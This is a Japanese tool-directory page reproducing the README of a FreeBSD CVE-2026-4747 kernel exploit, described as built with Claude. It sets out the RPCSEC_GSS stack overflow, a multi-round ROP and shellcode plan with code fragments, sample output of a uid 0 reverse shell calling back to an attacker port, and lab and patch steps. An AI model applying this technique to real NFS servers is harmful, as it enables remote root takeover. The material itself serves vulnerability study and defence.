Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/kaleth4/cve-2026-4747
エクスプロイトフレームワーク脆弱性分析エクスプロイト学習と教育バイナリエクスプロイト
GitHubkaleth4/cve-2026-4747

CVE-2026-4747

FreeBSD CVE-2026-4747 向けリモートカーネルRCEエクスプロイト。kgssapi.ko のスタックバッファオーバーフローを利用し、ROPチェーンとシェルコードを介してルートシェルを取得します。

リポジトリを見る
106ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
  ____ __     ______       ____   ___ ____   __          _  _____ _  _  ___ 
 / ___/\ \   / / ___|     |___ \ / _ \___ \  \ \        | ||___  | || ||__ \
| |    \ \ / /| |    ___    __) | | | |__) |  \ \   _   | |   / /| || |_  ) |
| |___  \ V / | |___|___| / __/| |_| / __/    \ \ | |__| |  / / |__   _|/ / 
 \____|  \_/   \____|    |_____|\___/_____|    \_\ \____/  /_/      |_||___|

CVE-2026-4747 — FreeBSD リモートカーネルRCE

kgssapi.ko のスタックバッファオーバーフロー → 約4時間でルートシェル

CVE CVSS Type OS Status AI

"AIによって発見され、悪用された初のリモートカーネルRCEエクスプロイト。総作業時間: 実働約4時間。"

— Nicholas Carlini(Claude / Anthropic使用)による発見 · 2026年3月26日公開


目次

  • 説明
  • タイムライン
  • バグの技術的分析
  • 悪用手法
  • エクスプロイトの動作
  • 脆弱な環境のセットアップ
  • 緩和策
  • 結論
  • 免責事項

📋 説明

CVE-2026-4747 は、FreeBSDのNFS向けRPCSEC_GSS認証を実装するカーネルモジュール kgssapi.ko に存在するスタックバッファオーバーフロー(stack buffer overflow)の脆弱性です。

svc_rpc_gss_validate() 関数は、攻撃者が制御するcredential bodyを、サイズを検証せずにスタック上の128バイトのバッファ(rpchdr[])へコピーします。RPCヘッダーのフィールドによってすでに32バイトが占有されているため、利用可能なのは96バイトのみですが、XDRレイヤーは最大400バイトのcredentialを許可しており、304バイトのオーバーフローが発生します。

技術データ

フィールド値
CVE IDCVE-2026-4747
CWECWE-121 (Stack-based Buffer Overflow)
コンポーネントkgssapi.ko / librpcgss_sec
プロトコルNFS / RPCSEC_GSS / Kerberos
必要な権限有効なKerberosチケット(低権限)
影響リモートカーネルコード実行 → uid 0
CVSS9.8 Critical
パッチFreeBSD-SA-26:08.rpcsec_gss

📅 タイムライン

2026年3月26日 ── FreeBSDがFreeBSD-SA-26:08.rpcsec_gssを公開
               クレジット: "Nicholas Carlini using Claude, Anthropic"

2026年3月29日 ── 09:45 AM PDT: Claudeにエクスプロイト開発を依頼
               05:00 PM PDT: Claudeが機能するルートシェルを納品

               合計: 実時間約7時間 / Claudeの実働約4時間
               人間はプロセスの大部分でAFK状態だった。

🔬 バグの技術的分析

オーバーフロー

/* svc_rpc_gss_validate() — kgssapi.ko 内 */
uint8_t rpchdr[128];  /* スタック上のバッファ */

/* RPCヘッダーフィールドにより32バイトがすでに消費済み */
/* 利用可能なのは96バイトのみ                        */

/* XDRは最大400バイトのcredentialを許可               */
/* 400 - 96 = 304バイトのオーバーフロー → RIPハイジャック */
memcpy(rpchdr, credential_body, credential_len);  /* ← BUG: サイズ未検証 */

緩和策なしで悪用可能な理由

FreeBSD 14.x には以下が存在しない:

  • KASLR — カーネルアドレスが固定かつ予測可能
  • 整数配列(int32_t[])に対するスタックカナリア

これにより、オーバーフロー → RIP制御が直接可能になります。

攻撃経路

攻撃者(ネットワーク)
    │
    │  nfs/target@REALM に対する有効なKerberosチケット
    │
    ▼
NFSサーバー(ポート 2049/TCP)
    │
    │  credential_len = 400 のRPCSEC_GSSリクエスト
    │
    ▼
svc_rpc_gss_validate() ← カーネルリング0
    │
    │  サイズ未検証のmemcpy
    │  [128バイトバッファ + 304バイトオーバーフロー]
    │
    ▼
スタックスマッシング → RIP制御 → ROPチェーン → シェルコード
    │
    ▼
kproc_create() + kern_execve("/bin/sh") → uid=0 リバースシェル

⚔️ 悪用手法

Claudeは、アドバイザリからルートシェルに到達するまでに6つの異なる問題を解決しました:

ステップ0: ラボのセットアップ

# FreeBSD 14.4-RELEASE VM:
# - 2+ CPU(FreeBSDはCPUごとに8つのNFSスレッドを生成; エクスプロイトは15ラウンド必要)
# - kgssapi.ko ロード済み
# - ポート2049でNFS有効
# - MIT Kerberos KDC設定済み(脆弱なコードに到達するために必須)
# - QEMUポートフォワーディング: host:2049 → guest:2049, host:8888 → guest:88 (KDC)

# 攻撃側の重要なKerberos設定:
# /etc/krb5.conf
[libdefaults]
    rdns = false                        # これがないと: nfs/localhost@REALM のチケット(誤り)
    dns_canonicalize_hostname = false   # サーバーが KRB5KRB_AP_WRONG_PRINC で拒否

ステップ1: マルチパケット戦略(段階的書き込みループ)

シェルコードは432バイトですが、パケットあたりROPチェーンに使用できるのは200バイトのみです。

ラウンド  1:  ROP → pmap_change_prot(BSS, RWX)     ← BSSを実行可能にする
ラウンド 2-14: ROP → シェルコード32バイトをBSSに書き込み(4回の書き込み × 8バイト)
ラウンド 15: ROP → 最後のバイトを書き込み + シェルコードへJUMP

ラウンドあたりの予算: 4回の書き込み × 40バイト = 160バイト + 24バイト exit = 184バイト ✓ (< 200)

ステップ2: スレッドのクリーンな終了

; 各ラウンドは通常のリターンではなく kthread_exit(0) で終了
; サーバーはクラッシュしない — NFSスレッドを1つ失うだけ
; 2 CPUの場合: 16スレッド利用可能 → 15ラウンドに十分

ステップ3: De Bruijnシーケンスによるオフセットデバッグ

# De Bruijnシーケンス → 8バイトの各部分文字列は一意
# credential bodyとして送信 → カーネルクラッシュ → クラッシュダンプからRIPを読み取る
# 逆アセンブリではオフセット168 → 実際: 200バイト
# 差: 静的解析で考慮されなかったGSSヘッダーの32バイト

pattern = cyclic(400)  # 400バイトのDe Bruijn
# クラッシュダンプ: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200

ステップ4: カーネル → ユーザーランドへの遷移

シェルコードは純粋なカーネルNFSスレッドで実行されます — vmspaceもtrapframeもありません。

/* フェーズ1(ハイジャックされたNFSスレッドのシェルコード内): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit();  /* NFSスレッドをクリーンに終了 */

/* フェーズ2(新しいプロセス内): */
/* 1. デバッグレジスタをクリア(ハードウェアバグ - ステップ5参照) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");

/* 2. /bin/sh を実行 */
kern_execve("/bin/sh", args, envp);

/* 3. 重要: P_KPROCフラグをクリア */
/* これがないと、fork_exit() が kthread_exit() を呼び出しプロセスを強制終了 */
proc->p_flag &= ~P_KPROC;

/* 4. リターン → fork_exit() → userret() → iretq → リング3 → uid=0 シェル */

ステップ5: ハードウェアバグ — デバッグレジスタ(DR7)

症状: 子プロセスが有効な命令でtrap 1(デバッグ例外)によりクラッシュ。
原因: kproc_create/fork1 が親のPCBをコピーし、エクスプロイト開発中の以前の
      クラッシュからDDBのブレークポイントを継承。

修正: kproc_create の2命令前に:
  xor eax, eax
  mov dr7, rax    ← すべてのハードウェアブレークポイントを無効化

🖥️ エクスプロイトの動作

$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS リモートカーネルRCE
  スタックオーバーフロー → ROP → シェルコード → uid 0 リバースシェル
==============================================================

  Target:   127.0.0.1:2049
  Callback: 10.0.2.2:4444
  SPN:      nfs/[email protected]

  Shellcode: 432バイト(54 qwords)
  Delivery:  15ラウンド(1 pmap + 14 write)

  [R1/15]  pmap_change_prot(BSS, 0x2000, RWX)
  [+] BSS is now RWX

  [R2/15]  write (4 qwords → 0xffffffff8198a800) ✓
  [R3/15]  write (4 qwords → 0xffffffff8198a820) ✓
  ...
  [R15/15] write + EXECUTE → JUMP 0xffffffff8198a800

  [*] Shellcode delivered and executing.
  [*] kproc_create → kern_execve('/bin/sh -c ...')
  [*] Reverse shell → 10.0.2.2:4444

  [+] Connection from 127.0.0.1:41320
  [+] Got shell!

sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

🧪 脆弱な環境のセットアップ

QEMU(GDBデバッグ推奨)

# FreeBSD 14.4-RELEASE をダウンロード
curl -O https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/14.4/FreeBSD-14.4-RELEASE-amd64-disc1.iso

# ディスクを作成し、2+ CPUでVMを起動
qemu-img create -f qcow2 freebsd-vuln.qcow2 20G
qemu-system-x86_64 \
  -hda freebsd-vuln.qcow2 \
  -cdrom FreeBSD-14.4-RELEASE-amd64-disc1.iso \
  -m 2G \
  -smp 2 \                    # 16+ NFSスレッド用に2+ CPU
  -net user,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
  -net nic \
  -nographic 2>&1 | tee qemu.log   # クラッシュダンプ読み取り用ログ
# FreeBSD内: NFS + Kerberos を設定
kldload kgssapi
echo 'nfs_server_enable="YES"' >> /etc/rc.conf
echo 'gssd_enable="YES"' >> /etc/rc.conf

# 基本KDCセットアップ
pkg install heimdal
# プリンシパル作成: nfs/[email protected], [email protected]
kadmin -l add nfs/[email protected]
kadmin -l add [email protected]

VMware(KDCトンネルなしの代替)

1. VMwareにFreeBSD 14.4-RELEASEをインストール
2. Network Adapter: "NAT" または "Host-only" を選択
3. VMware NATでポートフォワーディングを設定:
   - Host 2049 TCP → Guest 2049
   - Host 88 TCP/UDP → Guest 88 (KDC)
4. QEMUと同じNFS/Kerberosセットアップ
5. 攻撃側の /etc/krb5.conf:
   kdc = 127.0.0.1:88   (ポートフォワードを指定)

🛡️ 緩和策

即時パッチ

# FreeBSDをパッチ適用済みバージョンに更新
freebsd-update fetch install

# アドバイザリがパッチ適用済みか確認
freebsd-version -k  # SA-26:08 以降のバージョンを表示する必要あり

代替緩和策

ツールをダウンロード